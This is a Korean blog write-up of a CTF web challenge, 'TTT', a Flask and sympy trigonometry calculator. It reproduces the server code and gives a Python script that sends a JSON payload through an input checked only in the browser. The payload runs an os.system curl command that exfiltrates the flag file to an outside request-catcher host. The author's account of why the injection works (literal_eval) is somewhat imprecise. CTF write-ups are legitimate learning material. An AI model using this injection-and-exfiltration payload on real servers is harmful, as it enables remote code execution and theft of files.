[misc] TTT
아아, 진심으로! 멋진 삼각법 함수를 사용하는 방법을 알아야 하지 않습니까? 글쎄, 내가 너희를 가르칠 사람이야! 나는 7대양 최고의 수학자이고 당신의 "후한 기부"로 당신의 수업을 자동화했습니다! 자, 시작합시다!
- 문제에서 제공하는 웹사이트에 접속하면 다음과 같은 수식 계산 페이지가 뜨게 된다.
서버 소스코드를 보면,
from flask import Flask, url_for, render_template, request
from ast import literal_eval
import sympy
app = Flask(__name__)
@app.route("/")
def index():
return render_template('index.html')
regular_operators = {
'add': lambda x, y: x + y,
'sub': lambda x, y: x - y,
'mul': lambda x, y: x * y,
'div': lambda x, y: x / y,
'pow': lambda x, y: x ** y,
}
trig_operators = {
'sin': sympy.sin,
'cos': sympy.cos,
'tan': sympy.tan,
'cot': sympy.cot,
'sec': sympy.sec,
'csc': sympy.csc,
'asin': sympy.asin,
'acos': sympy.acos,
'atan': sympy.atan,
'acot': sympy.acot,
'asec': sympy.asec,
'acsc': sympy.acsc,
}
def postfix_calculator(inp):
stack = []
for (ty, val) in inp:
if ty == 'num':
stack.append(literal_eval(val))
elif ty == 'var':
stack.append(sympy.Symbol(val))
elif ty == 'op':
if val in regular_operators:
a = stack.pop()
b = stack.pop()
stack.append(regular_operators[val](b, a))
elif val in trig_operators:
a = stack.pop()
stack.append(trig_operators[val](a))
else:
raise ValueError("Invalid operator")
print(type(stack[0]))
print(stack)
return stack
@app.post("/compute")
def compute():
try:
expr = postfix_calculator(request.get_json())
if len(expr) == 1:
return sympy.latex(expr[0]) + r'\\=\\' + sympy.latex(sympy.simplify(expr[0]))
else:
return r'\quad{}'.join(map(sympy.latex, expr)) + r'\\=\\\cdots'
except Exception as e:
print(e)
#return "invalid expression"
- print()는 디버깅을 위해 추가함
- sympy, ast등의 라이브러리를 사용하는 것을 알 수 있음
- sympy같은 경우 이렇게 수식을 표현하는데 쓰이는 라이브러리 같았다.
https://www.sympy.org/en/index.html
- 서버 코드가 복잡해보이지만 마지막에 출력되는 것은
return sympy.latex(expr[0]) + r'\\\\=\\\\' + sympy.latex(sympy.simplify(expr[0]))
이고 이 부분을 보면 expr[0]만 쓰는 것을 알 수 있다.
- expr는 postpix_calculator함수의 결과 값이다.
- 그리고 최종적으로 sympy.latex(sympy.simplify(literal_eval(input)))이나 sympy.latex(sympy.simplify(sympy.Symbol(input)))이 실행되는 것을 알 수 있다.
- literal_eval의 경우 input값을 str형식으로 잘 넣어 줄 경우 우리가 원하는 코드를 실행할 수 있다.
- 하지만 웹페이지의 경우 num에 숫자만 넣을 수 있었다.
- 하지만 검증코드가 서버에 있지 않고 프론트에 박혀있었다.
- 따라서 request형식에 맞춰 코드를 작성할 수 있었다.
import requests
headers = {
'Accept': '*/*',
'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
'Connection': 'keep-alive',
'Content-Type': 'application/json',
'Origin': 'http://ttt.chal.pwni.ng:1337',
'Referer': 'http://ttt.chal.pwni.ng:1337/',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
}
json_data = [
[
'num',
'\'__import__("os").system("curl -d @flag https://eujypze.request.dreamhack.games")\'',
],
]
response = requests.post('http://ttt.chal.pwni.ng:1337/compute', headers=headers, json=json_data, verify=False)
print(response.text)
# Note: json_data will not be serialized by requests
# exactly as it was in the original request.
#data = '[["var","flag"]]'
#response = requests.post('http://ttt.chal.pwni.ng:1337/compute', headers=headers, data=data, verify=False)
- 처음에는 curl을 쓸 생각을 못하고 계속 cat flag만 하고 있었는데 이것은 서버에서만 출력이 되고 ‘0’만 출력이 되었다.
- 그래서 그냥 파일내용을 읽어서 서버로 보내버리는 방법을 썼다.
'CTF' 카테고리의 다른 글
DEFCON 31 Qual (0) | 2023.07.03 |
---|---|
Dice CTF 2023 (0) | 2023.07.03 |
San Diego CTF 2022 Write-Up (0) | 2022.05.09 |
Patriot CTF 2022 write-up (0) | 2022.05.01 |
24회 해킹 캠프 CTF write-up (0) | 2022.02.20 |